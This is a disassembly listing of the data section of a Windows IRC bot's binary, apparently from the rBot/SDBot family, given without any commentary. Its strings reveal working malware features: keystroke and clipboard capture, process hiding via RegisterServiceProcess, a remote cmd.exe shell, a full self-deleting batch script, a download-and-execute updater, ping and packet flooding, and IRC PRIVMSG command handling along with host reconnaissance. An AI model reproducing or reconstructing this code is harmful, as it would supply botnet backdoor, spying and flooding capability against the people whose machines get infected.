		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_40981F+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_40981F+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_40981F+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_40981F+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_40981F+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_40981F:loc_409A7Eo
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_40981F+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_40981F+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_40981F+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_40981F+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_40981F+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_40981F+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_40981F+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_40981F+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_40981F+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_40981F:loc_409954o
					; sub_42105F+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_40981F+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_40981F+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_40981F+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_40981F+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_40981F+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_40981F+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_40981F+Ao
		align 4
unk_42D764	db    2			; DATA XREF: sub_40A4AC+2F2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o
		align 10h
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: sub_40AAFA+5o
					; sub_415C5E+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40AB7C+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_40AC42+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_40AC42+48o
		align 4
unk_42D9A8	db    2			; DATA XREF: sub_40AE02:loc_40AEC1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aNotSupportedBy	db '  Not supported by this system.',0
		align 4
unk_42D9E8	db    2			; DATA XREF: sub_40AE02:loc_40AE8Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUnableToAlloca	db '  Unable to allocation ARP cache.',0
		align 4
unk_42DA28	db    2			; DATA XREF: sub_40AE02:loc_40AE5Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheIsEmpt	db '  ARP cache is empty.',0
		align 4
unk_42DA5C	db    2			; DATA XREF: sub_40AE02+49o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorGettingAr	db '  Error getting ARP cache: <%d>.',0
		align 4
unk_42DA9C	db    2			; DATA XREF: sub_40AF86+13Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedSendin	db '  Finished sending pings to %s.',0
		align 4
unk_42DAD8	db    2			; DATA XREF: sub_40AF86+6Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	69h, 6Eh
		db  67h	; g
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSendingPi	db '  Error sending pings to %s.',0
		align 10h
dword_42DB10	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+1C6o
		dd 2BBBB02h
aFinishedSend_0	db '  Finished sending packets to %s.',0
		align 4
dword_42DB4C	dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B112+8Eo
		dd 2BBBB02h
aErrorSending_1	db '  Error sending pings to %s.',0
		align 4
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o
dword_42DB94	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B549o
		dd 2BBBB02h
aCouldNotReadDa	db '  Could not read data from proccess.',0Dh,0Ah,0
		align 4
dword_42DBD4	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417+10Fo
		dd 2BBBB02h
aProccessHasTer	db '  Proccess has terminated.',0Dh,0Ah,0
		align 4
dword_42DC0C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B417:loc_40B4FDo
		dd 2BBBB02h
aCouldNotRead_0	db '  Could not read data from proccess',0Dh,0Ah,0
		align 4
dword_42DC4C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+194o
		dd 2BBBB02h
aFailedToStartI	db '  Failed to start IO thread, error: <%d>.',0
		align 10h
dword_42DC90	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40B56C+14Co
		dd 2BBBB02h
aRemoteCommandP	db '  Remote Command Prompt',0
aCmd_exe	db 'cmd.exe',0          ; DATA XREF: sub_40B56C+21o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_40B721+52o
aSysinfoCpuI64u	db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:'
					; DATA XREF: sub_40B8D8+297o
		db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:'
		db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:'
		db ' %s. [Uptime]: %s.',0
		align 4
aDdMmmYyyy	db 'dd:MMM:yyyy',0      ; DATA XREF: sub_40B8D8+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co
		align 10h
word_42DDD0	dw 3Fh			; DATA XREF: sub_40B8D8:loc_40B9DAr
					; sub_40D099+1Fo
		align 4
dword_42DDD4	dd 28207325h, 297325h	; DATA XREF: sub_40B8D8+EBo
dword_42DDDC	dd 3F3F3Fh		; DATA XREF: sub_40B8D8:loc_40B99Bo
					; ___:loc_415C0Fo
a2003		db '2003',0             ; DATA XREF: sub_40B8D8+BAo
		align 4
aXp		db 'XP',0               ; DATA XREF: sub_40B8D8+AAo
					; ___:00415BFAo
		align 4
a2k		db '2K',0               ; DATA XREF: sub_40B8D8+98o
					; ___:00415BEAo
		align 10h
aMe		db 'ME',0               ; DATA XREF: sub_40B8D8+7Eo
					; ___:00415BD1o
		align 4
a98		db '98',0               ; DATA XREF: sub_40B8D8+6Co
					; ___:00415BC1o
		align 4
aNt		db 'NT',0               ; DATA XREF: sub_40B8D8+5Ao
					; ___:00415BB1o
		align 4
a95		db '95',0               ; DATA XREF: sub_40B8D8+46o
					; ___:00415BA3o
		align 10h
aNetinfoTypeSS_	db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0
					; DATA XREF: sub_40BB8C+A4o
		align 10h
off_42DE40	dd offset loc_412F4E	; DATA XREF: sub_40BB8C:loc_40BBF8o
off_42DE44	dd offset dword_4E414C	; DATA XREF: sub_40BB8C:loc_40BBEEo
dword_42DE48	dd 6C616944h, 70752Dh	; DATA XREF: sub_40BB8C+5Bo
dword_42DE50	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_40BB8C+48o
unk_42DE60	db    2			; DATA XREF: sub_40BC4B:loc_40BE04o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToConnec	db 'Failed to connect to HTTP server.',0
		align 10h
unk_42DEA0	db    2			; DATA XREF: sub_40BC4B:loc_40BDFDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCouldNotOpenAC	db 'Could not open a connection.',0
		align 4
dword_42DEDC	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+1A0o
		dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch,	2E4C5255h
		dd 0
unk_42DF08	db    2			; DATA XREF: sub_40BC4B:loc_40BDDEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToGetReq	db 'Failed to get requested URL from HTTP server.',0
		align 4
dword_42DF54	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40BC4B+18Co
		dd 0BB022029h, 202002BBh, 204C5255h, 69736976h,	2E646574h
		dd 0
dword_42DF80	dd 2A2F2Ah		; DATA XREF: sub_40BC4B+3Bo
dword_42DF84	dd 202E6425h, 3D207325h, 732520h ; DATA	XREF: sub_40BEF5+35o
dword_42DF90	dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o
		align 4
dword_42DFC4	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch
					; DATA XREF: sub_40C00D+1Ao
		dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h,	0
dword_42DFEC	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+DCo
		dd 2BBBB02h, 694C2020h,	63207473h, 6C706D6Fh, 2E657465h
		dd 0
dword_42E018	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C07F+3Fo
		dd 2BBBB02h, 65422020h,	6E6967h
dword_42E038	dd 80000002h, 42F6CCh, 80000002h, 42F6FCh, 80000001h, 42F734h
					; DATA XREF: sub_40C1AE+7o
dword_42E050	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C1AE+63o
					; sub_40C351+170o
		dd 2BBBB02h
aFailedToSendTo	db '  Failed to send to Remote command shell.',0
		align 4
dword_42E094	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+ABo
		dd 2BBBB02h
aFailedToOpenRe	db '  Failed to open remote command shell.',0
		align 4
dword_42E0D4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C351+47o
					; sub_40C512+FDo
		dd 2BBBB02h
aFailedToOpenSo	db '  Failed to open socket.',0
		align 4
dword_42E108	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+362o
					; sub_40C8B4+156o
		dd 2BBBB02h, 6F532020h,	74656B63h, 72726520h, 2E726Fh
dword_42E130	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+2FAo
		dd 2BBBB02h
aTransferComp_0	db '  Transfer complete to IP: %s, Filename: %s (%s bytes).',0
dword_42E180	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+202o
		dd 2BBBB02h
aUnableToOpenSo	db '  Unable to open socket.',0
		align 4
dword_42E1B4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+1CBo
		dd 2BBBB02h, 65532020h,	7420646Eh, 6F656D69h, 2E7475h
dword_42E1DC	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: sub_40C512+16Ao
		dd 169h
dword_42E1F4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+127o
		dd 2BBBB02h
aFileDoesnTExis	db '  File doesn',27h,'t exist.',0
		align 4
dword_42E224	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+82o
		dd 2BBBB02h
aFailedToBindTo	db '  Failed to bind to socket.',0
dword_42E258	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C512+44o
		dd 2BBBB02h
aFailedToCreate	db '  Failed to create socket.',0
		align 4
dword_42E28C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+1D1o
		dd 2BBBB02h
aTransferComp_1	db '  Transfer complete from IP: %s, Filename: %s (%s bytes).',0
		align 10h
dword_42E2E0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+CBo
		dd 2BBBB02h
aErrorOpeningSo	db '  Error opening socket.',0
dword_42E310	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+ABo
		dd 2BBBB02h
aErrorOpeningFi	db '  Error opening file for writing.',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: sub_40C8B4+97o
dword_42E350	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40C8B4+83o
		dd 2BBBB02h
aErrorUnableToW	db '  Error unable to write file to disk.',0
		align 10h
unk_42E390	db    2			; DATA XREF: sub_40CAF1+493o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aBadUrlOrDnsErr	db '  Bad URL, or DNS Error: %s.',0
		align 4
unk_42E3CC	db    2			; DATA XREF: sub_40CAF1+485o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateFailedEr	db '  Update failed: Error executing file: %s.',0
unk_42E414	db    2			; DATA XREF: sub_40CAF1+3C9o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fk	db '  Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
		align 4
dword_42E464	dd 7A026E02h, 201F6D1Fh, 776F6428h, 616F6C6Eh, 1F702E64h
					; DATA XREF: sub_40CAF1+358o
		dd 29671F6Ch, 0BBBB0220h, 4F202002h, 656E6570h,	25203A64h
		dd 2E73h
aOpen		db 'open',0             ; DATA XREF: sub_40CAF1+336o
					; sub_40EE72+2B48o ...
		align 4
unk_42E498	db    2			; DATA XREF: sub_40CAF1+2E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloaded_1fK	db '  Downloaded %.1f KB to %s @ %.1f KB/sec.',0
		align 10h
unk_42E4E0	db    2			; DATA XREF: sub_40CAF1+262o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCrcFailedDD_	db '  CRC Failed (%d != %d).',0
		align 4
unk_42E518	db    2			; DATA XREF: sub_40CAF1+1D8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesizeIsInco	db '  Filesize is incorrect: (%d != %d).',0
		align 4
unk_42E55C	db    2			; DATA XREF: sub_40CAF1+195o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aUpdateSDkbTran	db '  Update: %s (%dKB transferred).',0
		align 4
unk_42E59C	db    2			; DATA XREF: sub_40CAF1+183o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileDownloadSD	db '  File download: %s (%dKB transferred).',0
		align 4
unk_42E5E4	db    2			; DATA XREF: sub_40CAF1+77o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 64h,	6Fh, 77h
		db  6Eh	; n
		db 6Ch,	6Fh, 61h
		db  64h	; d
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCouldnTOpenFil	db '  Couldn',27h,'t open file: %s.',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_40D099:loc_40D0DCo
					; sub_40DF4E+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_40D099:loc_40D0D6o
aDisk		db 'Disk',0             ; DATA XREF: sub_40D099:loc_40D0D0o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_40D099:loc_40D0CAo
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_40D099:loc_40D0C4o
		align 4
off_42E644	dd offset word_4D4152	; DATA XREF: sub_40D099:loc_40D0BEo
aFailed		db 'failed',0           ; DATA XREF: sub_40D12A:loc_40D208o
					; sub_40D24E+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_40D12A+6Co
		align 4
unk_42E658	db    2			; DATA XREF: sub_40D24E+8Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSSTotalS	db '  %s Drive (%s): %s total, %s free, %s available.',0
		align 4
unk_42E6A4	db    2			; DATA XREF: sub_40D24E+58o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	6Fh, 72h
		db  65h	; e
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDriveSFailedT	db '  %s Drive (%s): Failed to stat, device not ready.',0
aA_0		db 'A:\',0              ; DATA XREF: sub_40D320:loc_40D365o
dword_42E6F4	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_40D4C5+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_42E740	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_40D4C5+E3o
; ---------------------------------------------------------------------------


loc_42E75C:				; DATA XREF: sub_40D4C5+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_42E770	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_40D4C5+13Fo
dword_42E784	dd 25207325h, 253A2073h, 0A0D73h ; DATA	XREF: sub_40D679+5Do
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_40D679+16o
					; sub_40EE72+623o
aNotice		db 'NOTICE',0           ; DATA XREF: sub_40D679+Fo
					; sub_40EE72+62Fo
		align 10h
off_42E7A0	dd offset aAdd		; DATA XREF: sub_40D719+60r
					; sub_40DAF0+51r ...
					; "Add"
off_42E7A4	dd offset aAdded	; DATA XREF: sub_40D719+2Dr
					; sub_40DAF0+83r ...
					; "Added"
dword_42E7A8	dd 0			; DATA XREF: sub_40D719+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42E814h, 42E80Ch,	2, 42E800h, 42E7F4h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0042E7D4o
aStop_0		db 'Stop',0             ; DATA XREF: ___:0042E7D0o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:0042E7C8o
aStart_0	db 'Start',0            ; DATA XREF: ___:0042E7C4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:0042E7BCo
		align 4
aList_0		db 'List',0             ; DATA XREF: ___:0042E7B8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:0042E7B0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:0042E7ACo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_42E7A4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_42E7A0o
dword_42E868	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+67o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42E89C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+51o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42E8D4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D719+33o
		dd 2BBBB02h
